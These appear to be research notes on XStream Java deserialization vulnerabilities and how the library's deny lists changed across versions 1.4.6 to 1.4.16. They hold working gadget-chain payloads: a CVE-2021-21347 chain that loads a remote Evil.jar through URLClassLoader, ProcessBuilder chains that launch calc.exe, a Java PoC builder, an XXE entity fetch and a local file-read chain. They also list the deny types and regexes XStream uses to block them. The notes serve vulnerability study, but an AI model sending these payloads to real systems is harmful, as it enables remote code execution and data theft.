Brief intro
XStream is a simple library to serialize objects to XML and back again.
[1] XSTREAM
[2] Standard way to serialize and deserialize Objects with XStream
[3] xstream-remote-code-execution-exploit
[4] XStream deserialization vulnerability research
- What is the proxy?
- How can build payload invoke method dynamic?
Read & Practice
Workaround of XSTREAM from version 1.4.6 to higher 1.4.16
*CVE-2021-21347*
< java . util . PriorityQueue serialization = ' custom ' >
< unserializable - parents />
< java . util . PriorityQueue >
< default >
< size > 2 </ size >
< comparator class =' javafx . collections . ObservableList $ 1 ' />
</ default >
< int > 3 </ int >
< com . sun . xml . internal . bind . v2 . runtime . unmarshaller . Base64Data >
< dataHandler >
< dataSource class =' com . sun . xml . internal . ws . encoding . xml . XMLMessage $XmlDataSource ' >
< contentType > text / plain </ contentType >
< is class =' java . io . SequenceInputStream ' >
< e class =' javax . swing . MultiUIDefaults $MultiUIDefaultsEnumerator ' >
< iterator class =' com . sun . tools . javac . processing . JavacProcessingEnvironment $NameProcessIterator ' >
< names class =' java . util . AbstractList $Itr ' >
< cursor > 0 </ cursor >
< lastRet >- 1 </ lastRet >
< expectedModCount > 0 </ expectedModCount >
< outer - class class = ' java . util . Arrays $ArrayList ' >
< a class =' string - array ' >
< string > Evil </ string >
</ a >
</ outer - class >
</ names >
< processorCL class =' java . net . URLClassLoader ' >
< ucp class =' sun . misc . URLClassPath ' >
< urls serialization = ' custom ' >
< unserializable - parents />
< vector >
< default >
< capacityIncrement > 0 </ capacityIncrement >
< elementCount > 1 </ elementCount >
< elementData >
< url > http: //127.0.0.1:80/Evil.jar</url>
</ elementData >
</ default >
</ vector >
</ urls >
< path >
< url > http: //127.0.0.1:80/Evil.jar</url>
</ path >
< loaders />
< lmap />
</ ucp >
< package2certs class =' concurrent - hash - map ' />
< classes />
< defaultDomain >
< classloader class =' java . net . URLClassLoader ' reference = ' ../.. ' />
< principals />
< hasAllPerm > false </ hasAllPerm >
< staticPermissions > false </ staticPermissions >
< key >
< outer - class reference = ' ../.. ' />
</ key >
</ defaultDomain >
< initialized > true </ initialized >
< pdcache />
</ processorCL >
</ iterator >
< type > KEYS </ type >
</ e >
< in class =' java . io . ByteArrayInputStream ' >
< buf ></ buf >
< pos >- 2147483648 </ pos >
< mark > 0 </ mark >
< count > 0 </ count >
</ in >
</ is >
< consumed > false </ consumed >
</ dataSource >
< transferFlavors />
</ dataHandler >
< dataLen > 0 </ dataLen >
</ com . sun . xml . internal . bind . v2 . runtime . unmarshaller . Base64Data >
< com . sun . xml . internal . bind . v2 . runtime . unmarshaller . Base64Data reference = ' ../ com . sun . xml . internal . bind . v2 . runtime . unmarshaller . Base64Data ' />
</ java . util . PriorityQueue >
</ java . util . PriorityQueue >
Code to rebuild
pom.xml
<? xml version = "1.0" encoding = "UTF-8" ?>
< project xmlns = "http://maven.apache.org/POM/4.0.0"
xmlns: xsi = "http://www.w3.org/2001/XMLSchema-instance"
xsi: schemaLocation = "http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" >
< modelVersion > 4.0 . 0 </ modelVersion >
< groupId > groupId </ groupId >
< artifactId > learn - XSTream </ artifactId >
< version > 1.0 - SNAPSHOT </ version >
< properties >
< maven . compiler . source > 8 </ maven . compiler . source >
< maven . compiler . target > 8 </ maven . compiler . target >
</ properties >
< dependencies >
< dependency >
< groupId > com . thoughtworks . xstream </ groupId >
< artifactId > xstream </ artifactId >
< version > 1.4 . 5 </ version >
</ dependency >
</ dependencies >
</ project >
buildPoC.java
import java.io.IOException ;
public class buildPoC {
public static void main ( String [] args ) throws IOException
{
String process = "calc.exe" ;
String payload = "<sorted-set>" +
"<string>foo</string>" +
"<dynamic-proxy>" +
"<interface>java.lang.Comparable</interface>" +
"<handler class=\"java.beans.EventHandler\">" +
" <target class=\"java.lang.ProcessBuilder\">" +
" <command>" +
" <string>" + process + "</string>" +
" </command>" +
" </target>" +
" <action>start</action>" +
"</handler>" +
"</dynamic-proxy>" +
"</sorted-set>" ;
XMLGenerator . generateTOfromXML ( payload );
System . out . println ( "Will not get here" );
}
}
History
1.4.6
In version, Users can register an own converter for dynamic proxies like java.beans.EventHandler type or java.lang.ProcessBuilder type lead to execute code
< contact class =' dynamic - proxy ' >
< interface > java . lang . Comparable </ interface >
< handler class =' java . beans . EventHandler ' >
< target class =' java . lang . ProcessBuilder ' >
< command >
< string > calc . exe </ string >
</ command >
</ target >
< action > start </ action >
</ handler >
</ contact >
Using blacklist: type != null && (type == java.beans.EventHandler || type == java.lang.ProcessBuilder || Proxy.isProxy(type)
1.4.8
Library parsing of XML is default can called to DTD internal or extenal. The feature prevent XXE turn off.
"<?xml version=\"1.0\"?>\n" +
"<!DOCTYPE foo [ \n" +
"<!ELEMENT foo ANY>\n" +
"<!ENTITY xxe SYSTEM \"http://127.0.0.1:1231\">]><foo>&xxe;</foo>" ;
Set feature disallow-doctype-decl
to true
avoid called to entity. If in payload, exists tag DOCTYPE
, Exception occur with error DOCTYPE is disallowed.
\com\thoughtworks\xstream\io\xml\DomDriver.class#116
Method method = DocumentBuilderFactory . class . getMethod ( "setFeature" , String . class , Boolean . TYPE );
method . invoke ( factory , "http://apache.org/xml/features/disallow-doctype-decl" , Boolean . TRUE );
1.4.9
1.4.13
< map >
< entry >
< jdk . nashorn . internal . objects . NativeString >
< flags > 0 </ flags >
< value class =' com . sun . xml . internal . bind . v2 . runtime . unmarshaller . Base64Data ' >
< dataHandler >
< dataSource class =' com . sun . xml . internal . ws . encoding . xml . XMLMessage $XmlDataSource ' >
< contentType > text / plain </ contentType >
< is class =' java . io . SequenceInputStream ' >
< e class =' javax . swing . MultiUIDefaults $MultiUIDefaultsEnumerator ' >
< iterator class =' javax . imageio . spi . FilterIterator ' >
< iter class =' java . util . ArrayList $Itr ' >
< cursor > 0 </ cursor >
< lastRet >- 1 </ lastRet >
< expectedModCount > 1 </ expectedModCount >
< outer - class >
< java . lang . ProcessBuilder >
< command >
< string > calc . exe </ string >
</ command >
</ java . lang . ProcessBuilder >
</ outer - class >
</ iter >
< filter class =' javax . imageio . ImageIO $ContainsFilter ' >
< method >
< class > java . lang . ProcessBuilder </ class >
< name > start </ name >
< parameter - types />
</ method >
< name > start </ name >
</ filter >
< next />
</ iterator >
< type > KEYS </ type >
</ e >
< in class =' java . io . ByteArrayInputStream ' >
< buf ></ buf >
< pos > 0 </ pos >
< mark > 0 </ mark >
< count > 0 </ count >
</ in >
</ is >
< consumed > false </ consumed >
</ dataSource >
< transferFlavors />
</ dataHandler >
< dataLen > 0 </ dataLen >
</ value >
</ jdk . nashorn . internal . objects . NativeString >
< string > test </ string >
</ entry >
</ map >
\com\thoughtworks\xstream\security\NoPermission.class
public boolean allows ( Class type ) {
if ( this . permission != null && ! this . permission . allows ( type )) {
return false ;
} else {
throw new ForbiddenClassException ( type );
}
}
Classes that execute code directly have been restricted. Indirect attack vectors such as RMI, LDAP protocol classes are implemented.
Adding blacklist:
DenyType:
0 = "java.beans.EventHandler"
1 = "java.lang.ProcessBuilder"
2 = "javax.imageio.ImageIO$ContainsFilter"
DenyRegex:
"javax\\.crypto\\..*
.*\\$LazyIterator
1.4.14
< map >
< entry >
< jdk . nashorn . internal . objects . NativeString >
< flags > 0 </ flags >
< value class =' com . sun . xml . internal . bind . v2 . runtime . unmarshaller . Base64Data ' >
< dataHandler >
< dataSource class =' com . sun . xml . internal . ws . encoding . xml . XMLMessage $XmlDataSource ' >
< contentType > text / plain </ contentType >
< is class =' com . sun . xml . internal . ws . util . ReadAllStream $FileStream ' >
< tempFile > F: \ Research \ java \ XSTream \ learn - XSTream \ src \ main \ java \ XSTreamm \ PoC \ flag . txt </ tempFile >
</ is >
</ dataSource >
< transferFlavors />
</ dataHandler >
< dataLen > 0 </ dataLen >
</ value >
</ jdk . nashorn . internal . objects . NativeString >
< string > test </ string >
</ entry >
</ map >
Adding DenyRegex & denyType:
jdk.nashorn.internal.objects.NativeString
.*\.ReadAllStream\$FileStream
1.4.15
xstream.denyTypes(new String[]{ "sun.awt.datatransfer.DataTransferer$IndexOrderComparator", "sun.swing.SwingLazyValue", "com.sun.corba.se.impl.activation.ServerTableEntry", "com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator" });
xstream.denyTypesByRegExp(new String[]{ ".*\\$ServiceNameIterator", "javafx\\.collections\\.ObservableList\\$.*", ".*\\.bcel\\..*\\.util\\.ClassLoader" });
xstream.denyTypeHierarchy(java.io.InputStream.class );
xstream.denyTypeHierarchy(java.nio.channels.Channel.class );
xstream.denyTypeHierarchy(javax.activation.DataSource.class );
xstream.denyTypeHierarchy(javax.sql.rowset.BaseRowSet.class );
1.4.16
Regex:
0 = {Pattern@1496} ".*\$LazyIterator"
1 = {Pattern@1497} ".*\$GetterSetterReflection"
2 = {Pattern@1498} ".*\$PrivilegedGetter"
3 = {Pattern@1499} "javax\.crypto\..*"
4 = {Pattern@1500} ".*\$ServiceNameIterator"
5 = {Pattern@1501} "javafx\.collections\.ObservableList\$.*"
6 = {Pattern@1502} ".*\.bcel\..*\.util\.ClassLoader"
Type:
0 = "jdk.nashorn.internal.objects.NativeString"
1 = "java.beans.EventHandler"
2 = "sun.swing.SwingLazyValue"
3 = "com.sun.corba.se.impl.activation.ServerTableEntry"
4 = "java.lang.ProcessBuilder"
5 = "sun.awt.datatransfer.DataTransferer$IndexOrderComparator"
6 = "com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator"
7 = "javax.imageio.ImageIO$ContainsFilter"
Ans
*1. What is the proxy?*
Follow the article proxies in java static and dynamic to understand more about proxy. I can summary a bit:
Provide proxy for Object to manage access into it.
Include 2 type:
Dynamic proxy : Exist in JVM runtime,
Static proxy : Proxies that are written manually,exist in compile time.